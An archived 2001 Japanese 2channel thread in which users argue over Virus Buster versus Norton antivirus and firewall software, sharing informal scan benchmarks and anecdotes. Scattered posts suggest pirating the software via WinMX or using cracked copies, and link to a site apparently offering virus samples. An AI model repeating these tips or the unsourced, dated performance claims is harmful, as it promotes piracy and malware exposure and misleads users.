5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

バスターVSノートン

1 :名無しさん@お腹いっぱい。:01/11/06 21:41
バスターとノートンの長所・短所を書きこんで
どちらが上か決着を付けましょう!!

2 :名無しさん@お腹いっぱい。:01/11/06 21:43
>>1
俺、ノートン派
昔から使ってるから(藁

3 :_:01/11/06 21:54
ノートンに一票!
バスターより軽い

4 :名無しさん@お腹いっぱい。:01/11/06 21:58
マカーには何がよいのでしょうか

5 :名無しさん@お腹いっぱい。:01/11/06 22:05
バスター派です。
ノートン使ったことがないので、よく分からない。

6 :名無しさん@お腹いっぱい。:01/11/06 22:35
2年バスター使ってたけど今度ノートンに乗り換えるつもり。

7 :名無しさん@お腹いっぱい。:01/11/06 22:37
>>5
Norton体験版落として使い比べてみたら? まだ2002は体験版
がないけど2001ならここで落とせるよ。
http://www.symantec.co.jp/region/jp/trial/nis.html

8 :あほ:01/11/06 22:39
クローキングって何ですか?

9 : :01/11/06 23:34
バスターとノートンって同時に使うことはできるの?
やった事ないからわからないんだけど。
バスター2002は今使ってる。

10 : :01/11/06 23:42
>>8
それは気にせんでも大丈夫。

11 :名無しさん@お腹いっぱい。:01/11/07 07:20
>>9
ノートンインストールしてた頃
バスターインストールしようとしたら
ノートンがインストールされていますアンインストールしてくださいと出た
同時に使うのは無理では?

12 :名無しさん@お腹いっぱい。:01/11/07 08:56
なんか前にありましたよね。
ウイルススキャンとバスター、ノートン全部インストールする方法。

13 :名無しさん@お腹いっぱい。:01/11/07 11:12
今日ノートンからバスター2002に乗り換えましたよ
〜簡単なのに高機能、高品質。だから安心〜 の歌い文句で購入しましたが
まぁ納得の範囲でした。
と言うことでバスターに一票

14 :名無しさん@お腹いっぱい。:01/11/07 11:50
>>13
じきにノートンに戻ることになると思うよ・・・。

15 :13:01/11/07 15:51
>>14
やはり性能はノートンの方が良いですかねェ?
貴方はバスター?ノートン?

16 :14:01/11/07 16:56
>>15
バスター暦2年、今からノートンに乗り換えるところ。

17 :名無しさん@お腹いっぱい。:01/11/07 18:43
>>9
最初にバスターを入れれば全部インストできるよ。
ほかのやつは警告も出さないでインストール続行しちゃうから。

18 :名無しさん@お腹いっぱい。:01/11/07 18:46
性能もサービスもNortonでしょう。バスター=糞。

19 :名無しさん@お腹いっぱい。:01/11/07 23:52
バスターのファイアウォール機能ウザイ
アクセスが制限される・・・

20 :名無しさん@お腹いっぱい。:01/11/08 03:14
世界的なシェアはどちらが上なの?

あと双方の強みと弱みを教えてくれると助かる。

21 :名無しさん@お腹いっぱい。:01/11/08 05:09
バスターが糞呼ばわりされるのはFWのせいだよなあ…。
と、擁護してみたり。

世界的シェアではマカフィーか?

22 :名無しさん@お腹いっぱい。:01/11/08 06:37
ノートン>バスター>>>>>>>>>>人糞>>>>>>>マカフィー

23 :名無しさん@お腹いっぱい。:01/11/08 06:58
ノートン役立たず・・・ためしにウイルスやトロイを100個位詰め込んだテストマシン作った
んだけど、ノートンはヒットする数が激少ない!!バスターの方がかなりヒットするよ!

24 :名無しさん@お腹いっぱい。:01/11/08 07:01
マカフィーも駄目駄目!!誰かF-セキュアーのアンチ使ってる人スレ求む!

25 :名無しさん@お腹いっぱい。:01/11/08 10:37
マカフィーって何ですか?
by教えて君

26 :名無しさん@お腹いっぱい。:01/11/08 14:47
今度のノートンって環境によるけど通信速度ガクンと落ちるらしいよ。
よって、ざんねんだけどバスターだね。

27 :名無しさん@お腹いっぱい。:01/11/08 14:58
両方買って比較して優劣つけてる人っているの?
聞きかじりや脳内妄想はイラナイYO

28 :名無しさん@お腹いっぱい。:01/11/08 15:09
>>27
両方買ったよ。バンドル版のマカフィ〜も持ってたよ。

29 :名無しさん@お腹いっぱい。:01/11/08 15:17
>>27
買わなくてもWinMXで見つけてみては?(藁

30 :名無しさん@お腹いっぱい。:01/11/08 15:47

マカヒーは人糞よりしたなのか…

31 :名無しさん@お腹いっぱい。:01/11/08 16:42
俺も両方買った。
ウイルス感知はバスターの方が上、ファイアーウォール機能は
脳豚の方が上。
よって今はバスター入れてふぁい機能をOFFにしてファイアーウォール
は脳豚を入れています。

32 :名無しさん@お腹いっぱい。:01/11/08 17:58
技術提供しあって最強のウイルス検知ソフト作れば良いのにね
(独占禁止法に振れそう

33 :名無しさん@お腹いっぱい。:01/11/08 22:42
ノートン、頭悪すぎ。

34 :名無しさん@お腹いっぱい。:01/11/08 23:47
しかしばすたー2002は満足に動作しないが、のーとん2002はとにかく動くからのう・・。

35 :名無しさん@お腹いっぱい。:01/11/08 23:50
>>21

> 世界的シェアではマカフィーか?

自分の意志で入れていないものをシェアなんて呼びたくない・・・。

36 :21:01/11/09 07:42
仰るとおりだ。俺も好きで入れてる訳じゃない…(苦笑)

37 :名無しさん@お腹いっぱい。:01/11/09 07:49
ウィルスバスターを買って、バンドル版のマカフィーを
アンインストールした時に感じた開放感、爽快感!
今でも覚えてるよ。

38 :漆黒:01/11/09 12:02
ノートン。
理由:なんとなく
今はなにもいれてない。

39 :名無しさん@お腹いっぱい。:01/11/09 21:40
VBからNISに乗り換え。
どっちも同じ。

40 : :01/11/11 00:55
軽いのはどっちなの?

41 :名無しさん@お腹いっぱい。:01/11/11 03:37
>31
両方イレテルノカコイイ

42 :(O;^〜^,O):01/11/11 17:32
ノートンのFW中級以上
バスターのFWは初心者用ってなかんじ

ウイルス除去はノートン
理由割れでウイルス定義更新できるから


                 スマソ逝ってくる

43 :廃墟(?)でのベンチマーク報告(w:01/11/15 05:18
NAV2001とVB2001(共に体験版)を同じマシンにインストして全ファイルのスキャンをしてみた(w

NAV…28分35秒(61235ファイル)
VB …14分20秒(42944ファイル)

同じマシンなのにファイル数が違うのは、VBは圧縮ファイルを1とカウントするのに対して、
NAVは圧縮ファイル内のファイル数でカウントしている模様
正直、こんなに大差がつくとは思わなかった(w

また、スキャン開始時のCPU温度も41℃に揃えて最高温度をモニターしていたところ

NAV…58℃
VB …54℃

との結果が出ました
NAVの方がスキャン時(特に圧縮ファイル)のCPU負荷が高い模様

但し、アンチウィルスソフトの優秀さはウィルスの検出能力と駆除能力によって
決まると思われますので、この結果はオマケ程度に考えてください(w

最後になりましたが、同じ実験をする時はVBを先にインストしなければ共存できませんので
注意してください(w

44 :名無しさん@お腹いっぱい。:01/11/15 20:21
圧縮ファイルのカウントの仕方が違うってのは初耳です。
よく雑誌で検出能力を比較してるけど、
アレってどこまで信頼できるのかねぇ?

ちなみに私はシステムワークス導入してるのでノートンです。

45 :名無しさん@お腹いっぱい。:01/11/15 20:36
いいサンプルがあるよ。
virusください。スレ(ノートン2002)を開いただけでら感染したん
だけど、ウイルスバスターの方はどうなのかな?

46 :名無しさん@お腹いっぱい。:01/11/15 21:53
>>45
開いてもなんの反応もなかった。
全ドライブ検索してみても何も出てこなかったよ。

47 :43:01/11/16 00:00
>>44
ファイル数のカウントの仕方が違うのは間違いないみたい
>>43を書いた後にデフラグを掛けたら、表示されるファイル数はVBに近い
(検索後にネットを少ししたので微増していた)モノだったから…

48 :43@連続投稿スマソ!:01/11/16 00:12
で、検索速度の違いだが、目で見ていた感じでは普通のファイルは大差なし
圧縮ファイル(zip lzh cab 自己解凍式exe)の場合はNAVはVBの数倍から十数倍
の時間が掛かる感じ

検出能力と駆除能力には得意不得意があるだろうし、新種ウィルスへの対応の早さ
はNimda騒動のときを見る限り大差がないような…

PFW機能に関してはNIS(NPFW)の方がVBより2ちゃん的な評判は上の感じ

49 :ここで比較せよ!:01/11/16 02:08
ノートンは反応しないものがある。
バスターではどう?

未知のウイルスが存在?
http://www.ebcvg.com/vx_exe.html

http://www.ebcvg.com/links.html

IRC.WORM W32.HLLP.Eter.8704 VBS.Rewind.A@mm
Hybris Troj W32.XTC.Worm などがある。

50 :名無しさん@お腹いっぱい。:01/11/16 15:32
ノートンは人格的にダメ

51 :名無しさん@お腹いっぱい。:01/11/17 00:36
ウイルスバスター2002をインストールすると、俺のXPは
立ち上がらなくなる・・・なんでだ?
すげぇムカつく

52 :名無しさん@お腹いっぱい。:01/11/18 21:36
age

53 : :01/11/20 13:20
ウイルスチェック機能はVB>NAVってことでいいのかな?

でもPFW機能は要らないんだよな。
NAV買うしか無いのかなあ・・・

54 :名無しさん@お腹いっぱい。:01/11/20 14:43
ノートンに1票。

55 :名無しさん@お腹いっぱい。:01/11/20 14:44
>>53
> ウイルスチェック機能はVB>NAVってことでいいのかな?
そう考えた根拠を教えてくれ

56 :名無しさん@お腹いっぱい。:01/11/20 16:38
>>55
このスレ最初から読んだのか?

57 : :01/11/21 14:41
国内で一番売れているのはどれ?
世界で一番売れているのはどれ?

どっちかにするから・・・。

58 :暇人28号:01/11/22 19:25
企業のサーバ向け製品では、トレンドマイクロが世界シェア60%、
イン・ザ・ワイルド検出率ではNortonが約100%、
McAfeeは企業向けの市場全体で世界シェア29%、スタンダード検出率100%
で、それぞれトップ。

59 :暇人28号:01/11/22 19:27
↑いかん、いつもの癖でsageてしまった・・・(^_^;

60 :名無しさん@お腹いっぱい:01/11/22 20:14
どこもかしかも「世界NO.1シェア」で困る

61 :あどみん:01/11/22 22:11
ノートンをクライアント数1000台強へ一斉導入した。(コーポレートエディションつー奴)
選定理由はメモリ搭載量が少ないマシンでもVBよりは軽かったから。
内部WEBサーバからインストールしてもらって手間イラズ。
問題はMACだったが、台数があんまりなかったからふつーのパッケージ(こっちもNAV)を購入。

62 :名無しさん@お腹いっぱい。:01/11/22 23:27
今、ZoneAlarmとマカフィーが入っていますがアンインストール
してノートンかウイルスバスターを導入した方がいい迷ってます。
常時接続環境でなくてもウィルスチェック・ファイアーウォール
対策はしっかりとっておくべきですか?マカフィーはダメかな。。

63 :(-_-):01/11/22 23:34
>>62
ノートンINSスレ読んでみて来てください。
結構不具合でまくりです。
織れも買ったんだけど・・・

64 :(-_-):01/11/22 23:41
あ、でもそれさえクリアすれば市販のファイアーウォールソフトとしてはBESTかも
ウイルス対策でVB優位かな?

65 :62:01/11/22 23:42
>63
そ、そうですか・・今ノートンとバスター近くの電器屋で特価で売られてて
いい機会だからどちらか試してみようと思っていました。ノートンが評判
いいと思ってたけど。そのスレ読んでみます。ありがとうございました。

66 :(-_-):01/11/23 00:01
>>64
訂正
ウイルス対策でVB優位→ウイルス対策ではVB優位

わずかなこったけど・・

67 : :01/11/23 00:46
今日、バスターからノートンに乗せ変えました。
それぞれのいいところ悪いところ。
バスターはウィルス検索がノートンより早い。FWで面倒な設定がいらない。
逆に言えば細かな設定ができないところが難点。あと動作が重い。
ノートンはウィルス検索がバスターの倍ほどかかる。(外出だが圧縮ファイルは
本当に時間がかかる) しかしISは細かな設定ができるししっかりしている。
まあ、既出のことばっかりだけど、使ってみた実感。
足して2で割ったようなセキュリティソフトでないですかね?
      

68 : :01/11/23 00:53
バスターのFWを無効にして、ZoneAlarmを使うことはできるの?

69 :名無しさん@お腹いっぱい。:01/11/23 01:14
バスターVSドライバーなら言いたいことがかなり、ある。

70 :名無しさん@お腹いっぱい。:01/11/23 01:19
>>68
バスター2002入れる前にぞね削除→
2002インストール→ぞねインストール

もちろんぞね入れるときは2002のFW切ってね。

71 : :01/11/23 01:53
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|  もっと盛り上げて! .|
|__________|
  /ノノハヽ||
  ( `.∀´)||
 /   づΦ

72 :名無しさん@お腹いっぱい。:01/11/23 02:27
企業向けにウィルスバスターコーポレートエディションてありますよね。
ノートンにもあるんですか?

73 :68:01/11/23 03:25
>>70
サンクス!
バスターのFWを無効化できるのか分からなかったから…

この組み合わせが最強(速度的な面で)かな?

74 :名無しさん@マカだめ住人:01/11/23 08:22
信頼性はトレンドマイクロ製かなあ・・・、
シマンテックのワクチンは、不安定なところがあるしね。
やはりこの二社は好敵手だな、
某McAfeeなんか、話題にもならん(藁

75 :南雲:01/11/24 00:35
>>72
>企業向けにウィルスバスターコーポレートエディションてありますよね。
> ノートンにもあるんですか?
少なくとも英語版にはあるよ。
大きな外資系コンピュータ会社は、全員にインストールさせとる。
リテール版よりちょっと古いAntiVirusだけの奴だが。

76 :ワクチンについて・・・:01/11/24 09:02
ウイルスバスターは検出率がよくない。
スキャンの速さとスキャンの精度は別だ。
あの程度の機能で「ファイヤーウォール」と自称するところでも、
彼らの技術力の程度が知れる。

ノートンはカタログ上の性能はよいが、
実際には不安定できちんと機能していない面がある。
ゆえに専門家はノートンを論外視する。
普通に使っていると気がつかないことも多いだろうが。

マカフィは性能は悪くない、業界トップクラスであり
上記二社製のものにも遜色が無い。
ただしサポート体制が悪く、その意味で評判を落としている。
また、多くのパソコンに最初から入っていることから、
イロハもろくに知らない厨房にいいかげんな扱い方をされてPCを損傷し、
それがマカフィの不具合であるかのように誤解されてる一面がある。
実際には、McAfeeがもっともWindowsと相性がよい。
ノートンがらみのトラブルでサポセンに駆け込むものが多いが、
マカフィがらみのトラブルは、俺は聞いたことがない。
アンチマカフィニストの情報はひどく偏向していると思う。

アンチドートは、よいところもあるにはあるが、
総合的なウイルス対策としては実用に耐えない。
スキャンするべきタイミングでしていない、とか、
ある経路に対してはまるっきり無防備であるとか、
そういったたぐいの弱点がある。

AntiVirは論外。
一番大事な検出能力そのものが低すぎる。
これが個人作業かと思うと、驚嘆に値するが・・・
残念だがウイルス保護を任せておける水準に達していない。

77 :名無しさん@お腹いっぱい。:01/11/24 09:09
マカフィーってだめなの?
http://pc.2ch.net/test/read.cgi/sec/994010282/

78 :名無しさん@お腹いっぱい。:01/11/24 10:35
>>76
興味深い考察だなぁ。AVGはどう?

79 :名無しさん@お腹いっぱい。:01/11/24 10:42
>>77
馬鹿ふぃーはなぜアンインストールの邪魔するんですか?

>いい加減な扱い方されてPCを破損
物理的に壊すわけ?(w
つーか、色んな雑誌見ても馬鹿ふぃーって検知能力低い。
まあ、パクリでウイルス直そうとするなということだ。

80 :79:01/11/24 10:43
>>77でなくて、>>76だった。

81 :名無しさん@お腹いっぱい。:01/11/24 11:13
マカフィーと言えば・・・
以前、何ウィルスか忘れましたけど修正するためのレジストリ
情報をそっくりそのままパクッて自HPに修正情報として載せた
事件がありましたね。
パクッたままチェックもしなかったからなのか、タイプミスまでも
そのままでパクリがバレた事件でした。
その件で投稿者本人が問い合わせたところ、偶然にも同じ箇所を
タイプミスしたとの返事が返ってきたらしいです。
それ以来マカフィーは信用できなくなりました。
元々はマカフィーファンだったんだけど・・・。

82 :名無しさん@お腹いっぱい。:01/11/24 11:28
>>81
あれ見て実行しても直らなかったら、馬鹿ふぃーの責任になるよね。
自分達でやってみたのだろうか?

83 :名無しさん@お腹いっぱい。:01/11/24 13:05
所詮馬鹿フィー、その程度馬鹿フィー、使えないのに金取る馬鹿フィー、
使ってくれたら金やると言われてもいらない馬鹿フィー、ウィルスを一切
検出しないのにウィルス駆除ソフトと名乗る馬鹿フィー、百害あって一利無し馬鹿フィー、

84 :みにと:01/11/24 13:27
バスター2001はソフトの間に割り込むのがじゃまになるときがあるね。
ノートン2002で解決してしまったから、今はノートン。
バスター2002は使ってないから良くわかんない。

85 : :01/11/24 13:28
値段的に大差ないからどっち買おうか迷ってるんだよねー。
それにお店によってお勧めのもの違うし・・・。

私の王子様はどっちなの〜!!

86 :名無しさん@お腹いっぱい。:01/11/24 13:30
>>85
迷った時は島忠
http://www.shimachu.co.jp

87 : :01/11/24 13:35
>>86
島忠は王子様なんかじゃなーいっ!

88 :  :01/11/24 13:56
たぶん76は又聞きだろう。。

89 :N374:01/11/24 18:05
>>88
いや、社員タンと見た。

ちゃんと営業会議で承認得た文面と見た。

90 :    :01/11/25 14:13
確かに何だかんだで好敵手なんだよな…
パソコン雑誌のウイルス対策ソフト特集とかではこの2本は必ず別格に扱われるし
まあ、それで結局バスター買ったんだけど…(別に後悔はしてないFW機能の重要性も学んだし)

91 :名無しさん@お腹いっぱい。:01/11/25 14:51
正直McAfeeは悪くないと思う。

92 :_:01/11/25 15:48
てゆ〜か、
なんで皆アンチウィルスソフト入れてるわけ?
OE入れず、IEのセキュリティ最大にして、
むやみに知らんファイルをダブクリせず、
定期的にオンラインウィルススキャンかければいいんじゃないの?
よくわからんファイル手に入れたときにも(藁

あと、ファイアーウォールもフリーで十分じゃん。
そうそう、2chのどっかで見たけど、
バスターのファイアーウォールはぞねにも劣るらしいよ。

93 :名無しさん@お腹いっぱい。:01/11/25 17:22
>>92
ぞねにも劣る、というのが気にくわん!

94 :名無しさん@お腹いっぱい。:01/11/25 21:16
ノートンがいいよ

95 :、、てゆかぁ〜:01/11/25 21:32
>>92
bootウイルスってあんまり流行ってないしな〜〜。
れも、そういうチミは意外とbymer辺り可愛がってそう(w

96 : :01/11/25 21:40
>>92
IE使ってるのにアンチウィルスソフト入れてない訳?
VBSワーム対策、マクロ対策もやってないとか・・・。

97 :ネタをしたいお年頃:01/11/25 23:34
 マカフリーって日本で出してるのがソースネクストなのがいけないと思う。

98 :92:01/11/25 23:44
>>96
〜対策っていうか、セキュリティを確保するためには、
自動実行を全てOFFか逐一聞くようにさせる。
それと無闇なダブクリはしない。
そうすれば問題となるのはセキュリティーホールだけ。
セキュリティーホール突かれる可能性は、
アンチウィルスソフトを信用して、なんでもかんでもダブクリする人間がウィルスに感染する可能性より低くない?
セキュリティーホール見つかれば問題となる機能は使わずに、パッチ出たらすぐに当てれば問題ないし。
>>95
当然共有フォルダなんて作ってないし、OE使ってない。
そもそもうちは2kだよ。
>>93,94
ノートンは確かにいいらしいね。
友人にはノートンお勧めしたよ。
利用期間一年(?)ってのが気に食わんらしいけど。
どっかの2chでセキュリティソフトの検証サイト聞いてんけど、
対トロイ防御力で、ノートンとぞねがトップで、
バスターはマイナーなトロイは素通ししたらしい。
>>all
そもそもファイアーウォール入れてれば
外出る分も警告してくれるから、他人には迷惑かけんやろ。
ハードディスク消去も、重要ファイルはバックアップ取ってるから
(あんまり)怖くないし。

長レススマソ

99 :名無しさん@お腹いっぱい。:01/11/26 00:09
>>98
>自動実行を全てOFFか逐一聞くようにさせる

メールのヘッダに仕込まれたVBSコードも作動しないように設定してる?

100 :名無しさん@お腹いっぱい。:01/11/26 00:26
>対トロイ防御力で、ノートンと"ぞね"が

ぞねってトロイに強いのか(w
ZONEkillerを知らないようだ。

101 :名無しさん@お腹いっぱい。:01/11/26 00:29
『既に知られたセキュリティーホール』さえ対策してれば安心できる
人もいるんだ…。microsoftが儲かるはずだよな(w

102 :名無しさん@お腹いっぱい。:01/11/26 00:33
>>101
別に良いんじゃない?
ちゃんとポリシー持ってるし。
ちゃんとインシデント対応できるかは知らんけど。

103 :名無しさん@お腹いっぱい。:01/11/26 00:41
>>98
>そもそもファイアーウォール入れてれば
>外出る分も警告してくれるから、他人には迷惑かけんやろ
キミはメーラーも外に繋がらないように設定してるのか?

104 :98:01/11/26 00:48
>>99
OEは使ってないって。
それともOE使ってなくてもメールのヘッダに仕込まれたVBSは作動するん?<これはマジ質問
>>100
知ってるよ。
でも、ZONEkillerが来る可能性は・・・?
ソフトにはセキュリティーホール付き物で、
ノートンでもどっかにあるやろうに・・・。
ぞねも直ぐに対応するんじゃないの?
しなければ乗り換えるだけやし(どうせフリー)
>ぞねってトロイに強いのか
俺は知らない。海外のサイトにそう書いてた。
多種多様のトロイを試したらしいよ。
俺がぞね使ってる理由は、sygate気に入ってたが、某ソフトが動かなかったからとりあえずぞね入れてるだけ。

>>all
ていうか、俺の聞きたいのは、
重くしてまでアンチウィルスソフトを入れる必要があるかどうか。
最小限のソフト(できればフリー)でどこまでセキュリティを確保できるかどうかってとこ。

105 :名無しさん@お腹いっぱい。:01/11/26 01:07
>>104
質問。WSHは?
というか、切ればそもそも問題なし。
漏れ的には厳密に言えば動作する全てのバイナリは信頼できん(w
特にフリーソフトの類。
カナ−リ、痛い目見て経験積んだ脳みそデータベース有って、逐一
的確に推測できればそれこそ最強では有るけど。
でも、毎日手動?で脳みそパターンファイルとエンジン書き換えな
いとダメだね。

106 : :01/11/26 01:14
>104
最大のセキュリティホールは操作する人間
人間の誤操作による被害を最小限度に食い止めるにも
アンチウィルスソフトやファイヤーウォールは入れてても
いいんじゃないかと思う。

もちろん、ソフトは人間が作ったものなので、穴はある、
というか、新種のウィルスの場合役に立たないので
君がやってるように人間の注意によってセキュリティを
高めることも必要だと思うが。

107 :名無しさん@お腹いっぱい。:01/11/26 01:16
バスターは起動画面がカッコ悪いので嫌いです。

108 :名無しさん@お腹いっぱい。:01/11/26 01:24
>>107
漏れも嫌いだ(w
アレもう少しインタフェース、カッコ良いのにすれば
起動するの楽しくなって、スキャンやパターンファイ
ルのアップデートも楽しくなるんじゃ無いかと。
間接的にウイルス感染も防げると(w
・・・更に不安定にしないのが大前提。
ロングファイル名に追従しない??な時は正直焦った。。。

109 :Outlook系以外のメーラとNimda:01/11/26 01:47
http://memo.st.ryukoku.ac.jp/archive/200109.month/1347.html

110 :104:01/11/26 03:24
みなさんレスありがとうっす。

結局のところ危なそうな情報は来んかったし、
この辺で自分まとめ

・IEのセキュリティー最大(もちActive X, Java含む)
・OE使わない(ていうかアンインストール)
・その他の自動実行もOFF
・ファイアーウォールのバージョンアップ情報はこまめにチェック
・自分の使うソフトのセキュリティホールもこまめにチェック

これで自分がダブクリしなければ感染せんよな?
仮に感染しても、
ファイアーウォールが未知のソフトが外へ出ようとしても警告してくれるし。

結論
以上の事を守り、ファイアーウォールがしっかりしていれば、
気をつけるのは自分のダブクリのみ。
アンチウィルスソフトは必要なし。

・・・でいいの?(ちょっと弱気)

111 :名無しさん@お腹いっぱい。:01/11/27 00:10
age

112 :名無しさん@お腹いっぱい。:01/11/27 00:15
そういえば95使ってた頃はリアルタイム監視入れてなかった。
リソース解放するから、こまめにスキャンで対処した記憶が。

113 :_:01/11/27 00:35
>>112
そうやろ?
結局のところ重くてリアルタイム監視してないやつ多いし、
仮にしててもJAVA&ACTIVEは自動実行させてないやつの方が多いし、
OE使ってる人間も少ないやろ?
よくわからん添付ファイル開ける人間もそうそういてないやん。
(あの誘惑はかなり強いが(w )
ってことは、オンラインスキャンのみで十分なんじゃないの?

そもそも俺にレス付けてくれた人たちはそれなりの知識があるのに、
なんでアンチウィルスソフトのアンインストールを考えないわけ?

114 :名無しさん@お腹いっぱい。:01/11/27 00:53
新しいウイルスや不正ツールの情報/可能なら本体そのもの
落して色々したい君だから。頭悪いからドキュメント見ただ
けじゃ理解できない漏れ(w
アンチウイルス有った方が楽ちん。有る意味ヘビーユーザー
なのかも。。
通常のサイト巡回してるなら十分だと思われ。>>110

115 :名無しさん@お腹いっぱい。:01/11/27 00:57
>>113
>なんでアンチウィルスソフトのアンインストールを考えないわけ?

その方が楽だからだよ。それに仕事で使ってる人なんかは取り引き
先から来た添付ファイルの類を「怪しいから開けない」って訳に
いかんだろ。

キミがアンチウィルスソフトを使いたくなければ使わなければいい。
ただそれだけ。

116 :名無しさん@お腹いっぱい。:01/11/27 01:25
取引先からAlizが来たんだけど、ノートンでは削除出来なかった。
しかも、アップデートしようとしたら「最新版」だと・・
ウィルス定義は11/24が最新版なのにね・・
インストールし直して、最新版で検索しても引っかからず・・
アウトルック6をDLしてやっと消えたが、怪しげなファイルが
残ってる様だ。バスターではどうなのかな?

117 :_:01/11/27 01:36
>>114
コレクションするなら必要よな。
>アンチウィルス有った方が楽ちん
重いからコレはどうかとおもわれ。
(決してマシンがショボイ訳じゃないよ)
あと、通常のサイトだけじゃネットツマランよ・・・。
>>115
仕事に使ってる人には必需品っしょ。
自衛のためだけじゃなくて、その会社の信頼性にヒビ入るよ・・・。

>>all
付き合ってくれてさんくす。
出尽くしたと思われるからもういいよ。
(まだ書いてくれる人いるなら嬉しいけど・・・)

>>116
アンチウィルスソフト使わない派だから、
バスターもどうか分からないけど、
せめてアウトルックはやめた方がいいとおもうよ。
大学の情報処理の先生もそう言ってる。
「OEはショボイくせに、削除できない分ウィルスよりタチ悪い」ってさ。

118 :名無しさん@お腹いっぱい。:01/11/27 01:36
>>116
俺、2001で隔離&削除出来たよ

119 :名無しさん@お腹いっぱい。:01/11/27 01:53
ノートンAV2002軽いぞ。無印Pentium 224MHzでほとんど速度変わらない。

120 :名無しさん@お腹いっぱい。:01/11/28 04:33
>119
確かに。ほんとにシステム監視してるのかよ?!と問い詰めたくなる。

121 :名無し:01/11/28 21:22
つかぬ疑問だが、マカフィーってFWはついてるのかな?・・・・
つまらん疑問ですんまそ

122 :名無しさん@お腹いっぱい。:01/11/28 21:36
>>121
一応あるみたいだよ。

123 :IE5:01/11/29 00:17

おまえら、トレンドマイクロのオンラインスキャンにお世話になった奴は
バスター2002使え!!

124 :117です:01/11/29 01:03
>>119&120
へ〜、そんなに軽いんですか?

ところで、今有名なIEでCookie抜かれるセキュリティーホールについては対応しているんですか?
ActiveX無効にしておかないと意味ないんなら・・・

セキュリティーソフトに任せっきりってのは怖いし、
かといってやっぱり何も入れないのは正直怖いし、
でも普段自分でセキュリティ最大にしているなら
こういったセキュリティーソフト必要なさげだし・・・

125 :名無しさん@お腹いっぱい。:01/11/29 01:15
>>124
質問のピントがおかしいが…

126 :名無しさん@お腹いっぱい。:01/11/29 01:27
>>121
VSOにはファイアーウォール機能はついてないよ。
ファイアーウォール製品は別売り。

127 :名無しさん@お腹いっぱい。:01/11/29 01:28
>>124
スレ違いだがパッチができているから当てとけよ
http://www.microsoft.com/windows/ie/downloads/critical/q312461/default.asp

128 :名無しさん@お腹いっぱい。:01/11/29 07:31
アクティブデスクトップが必要なファイヤーウォール(笑
なんか、かえってセキュリティ悪化しそう・・・・

129 :名無しさん@お腹いっぱい。:01/11/29 17:04
このスレタイトルがなにか気にかかっていたのだが、
そうか、バスター・キトンとかけたのか!(・∀・)?

130 :名無しさん@お腹いっぱい。:01/11/29 17:04
語)バスター・キトン
正)バスター・キートン

131 :名無しさん@お腹いっぱい。:01/11/29 18:14
買った奴には失礼だが、ウィルスバスター2002にお金を出すなんて勿体ない。
体験版で使ったけど、特に防火壁の甘さ。。。ノートンとzonealarmのproを比べる為、自分でポートスキャンとセキュリティーチェックをしたが、一番通す結果でした。
zoneプロはかなりイイ!ノートンは普通に使える方だと思います。
ウィルスの方は、アンチドートとノートンとウィルスバスターを試してみた。
・・・結果はアンチドート→ノートン→ウィルスバスターでした。いろいろと試した結果ですが、私の解釈なのでご参考程度に。ウィルスの検査の仕方はいろいろと試したよ。
適当なファイルにトロイぶち込んでlzh zip・・・etcで圧縮して試してみたよ。
アンチドートとゾヌプロは凄いです。

132 :131:01/11/29 18:16
スレ違いですまん。

133 :1:01/11/29 22:36

やっぱバスターがいいよ。

134 : :01/11/29 22:52
というわけで、アンチドート+ノートンで決まりっ!
■■■■■■■■■■■ 完 ■■■■■■■■■■■

135 :Bear!!@Taipei:01/11/29 23:52
インフラサポートをしています。
客先数十社でよく使われている3種の、ここ半年の作業結果では
まかふ:0〜3
ばすた:5〜10
のとん:220
感染ファイル検知結果となっています。
検出感度は、のとんが一番。
除去能力は、ばすた・のとん大差なし。まかふ・・・
HPや修復ツールは、まかふ・ばすたが一般向け。のとんはちょっと
専門的。(ユーザに説明を読んでもらった印象)

※各パターンは最新 著名Virusに感染したPCを使用。
 (Navidad,Sircam,Nimda,BadTrans,Mtx,HapTime)

136 :つまり、:01/11/30 01:46
2ちゃんねらー的には、
ノートンのほうが、チョビットだけ優勢っぽい
ってことでよろしいですか?

137 : :01/11/30 18:00
じゃあノートン先生買って来るよ。
明日土曜だし、お店混んでるなあ・・・。
まあ、ヒマだしブラブラしてくるよ。

138 :    :01/11/30 21:33
バスターもなんか、「バスター博士」とかキャラをだせばどうかな?

139 : :01/12/01 00:57
更新料(?)とかっていくらかかるんですか?
毎年パッケージを買わないといけないのですか?

はやくマカフィーから卒業したいです・・・。

140 :のとちかな?:01/12/01 01:32
ファイアウォール更新1500円也
ウィルス更新2500円也

141 :名無しさん@お腹いっぱい。:01/12/01 01:34
ノートン先生に勝てるのはバスターマシンだけだろ。

142 :    :01/12/01 05:40
売上では勝ってます。はい。売上ではね。。。。

143 :名無しさん@お腹いっぱい。:01/12/01 05:48
ノートンバスターが最強。
ただし素人にはおすすめできない。

144 :名無しさん@お腹いっぱい。:01/12/01 06:12
↑ノートン先生をやっつけるみたいだだな

145 :名無しさん@お腹いっぱい。:01/12/01 06:16
バスターは2001も2002もファイヤーウォールが甘すぎ。
奴ら本当に技術あるのか?
どーもシマンテックのほうがだいぶましではないかという気がしてきた・・・

146 :名無しさん@お腹いっぱい。:01/12/01 06:29
バスターの年3,000円でパターン、アップグレード、というのが安くてよさそう。
ノートンは年4,000円でパターンのみだからなぁ・・・。

147 :名無しさん@お腹いっぱい。:01/12/01 06:53
ノーd先生

148 :名無しさん@お腹いっぱい。:01/12/01 07:21
バスケがしたいです・・

149 :名無しさん@お腹いっぱい。:01/12/01 09:29
バスター

ウィルス発見は良いけど(駆除も?)
初心者に分かりやすい
WFは糞

ノートン
総合的に良い
細かい設定が出来る
初心者には扱いずらい

こんな感じ?
バスターかノートン
どちらを買おうか迷ってる

150 :名無しさん@お腹いっぱい。:01/12/01 14:05
あげ

151 :名無しさん@お腹いっぱい。:01/12/01 15:06
ご意見募集中。。。

152 :初心者:01/12/01 16:30
>>149
WFってなんですか?

153 :名無しさん@お腹いっぱい。:01/12/01 16:50


154 :名無しさん@お腹いっぱい。:01/12/01 19:26
バスターのウイルス検知
ノートンのFW機能
共存できるのかな?

155 :名無しさん@お腹いっぱい。:01/12/02 00:08
>>154
俺なんか、ウイルスバスター2002と
ノートンPFW入れてるけど不具合なし。

156 :名無しさん@お腹いっぱい。:01/12/02 01:26
>>154-155
なのに某まかひーにだけは互換性がないのは、なぜだろう?
やっぱSYMANTECはNAIをかなり意識しているんでしょうか・・・
